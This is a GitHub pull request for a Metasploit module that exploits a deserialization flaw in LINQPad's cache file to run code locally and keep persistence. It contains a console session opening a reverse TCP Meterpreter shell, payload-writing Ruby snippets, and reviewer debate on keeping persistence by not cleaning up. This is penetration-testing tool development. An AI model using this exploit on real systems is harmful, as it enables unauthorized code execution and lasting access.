Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Linqpad deserialization #19777

Open
wants to merge 8 commits into
base: master
Choose a base branch
from

Conversation

msutovsky-r7
Copy link
Contributor

LINQPad 5.48 Deserialization

LINQPad is a scratchpad for .NET programming. Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from here.

Verification Steps

Steps:

  1. Install the application
  2. Start msfconsole
  3. Get Meterpreter/cmd shell
  4. Run: use windows/local/linqpad_deserialization
  5. Set payload - for example set payload cmd/windows/generic - and corresponding parameters
  6. Set parameters session, cache_path, linqpad_path
  7. Run exploit

Options

cache_path

The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file.

linqpad_path

Final part of exploit runs the LINQPad to trigger deserialization procedure. The linpad_path parameter sets the path to LINQPad binary, which is ran at the end of exploit.

Example:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 192.168.95.128
msf6 exploit(multi/handler) > set LPORT 4242
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.95.128:4242 
[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use windows/local/linqpad_deserialization
msf6 exploit(windows/local/linqpad_deserialization) > set LINQPAD_PATH C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
msf6 exploit(windows/local/linqpad_deserialization) > set payload windows/exec/cmd
msf6 exploit(windows/local/linqpad_deserialization) > set cache_path C:/Users/ms/AppData/Local/LINQPad
msf6 exploit(windows/local/linqpad_deserialization) > set CMD calc.exe
msf6 exploit(windows/local/linqpad_deserialization) > set session 1
msf6 exploit(windows/local/linqpad_deserialization) > exploit
[*] Exploit completed, but no session was created.

Previous example will run calc.exe when LINQPad will start.

@h00die
Copy link
Contributor

h00die commented Dec 30, 2024

#19592

modules/exploits/windows/local/linqpad_deserialization.rb Outdated Show resolved Hide resolved
modules/exploits/windows/local/linqpad_deserialization.rb Outdated Show resolved Hide resolved
)
register_options([
OptString.new('LINQPad_path', [true, "Path to LINQPad executable on target's machine", "C:\Users\ms\AppData\Local\LINQPad"]),
OptString.new('Cache_path', [true, 'Path to cache file directory containing deserialized data'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
OptString.new('Cache_path', [true, 'Path to cache file directory containing deserialized data'])
OptString.new('Cache_path', [true, 'Path to cache file directory containing deserialized data']),
OptBool.new('UNINSTALL', [true, 'Uninstall persistence', false])

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Or other way that is consistent/add action.....?

fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)

# add cleanup option
register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Doesn't this remove the persistence when the module finishes?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It does, but only with CLEANUP option enabled. I checked other windows persistence modules and most of them seem to use some sort of cleanup when option is enabled. They don't do cleanup by default, but there's an option. I'm not sure how to generally work with persistence modules, but I can remove this if persistence module shouldn't have this.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unfortunately you're in flux right now because the official persistence stuff isn't landed (or finished) yet.

I believe you should NOT cleanup because persistence shouldn't be a one time thing, it should be persistent.

I think while I was working on the other persistence modules I noticed a data store option to prevent cleanup. I think this is a great option to set to false by default, then allow a user to change it if they only want it once (PoC type showcase)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@h00die thanks for your clarification, I'm gonna take a look at #19815 and after we land that I'll move to your burp persistence and this one.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

# for free to join this conversation on GitHub. Already have an account? # to comment
Projects
Status: In Progress
Development

Successfully merging this pull request may close these issues.

4 participants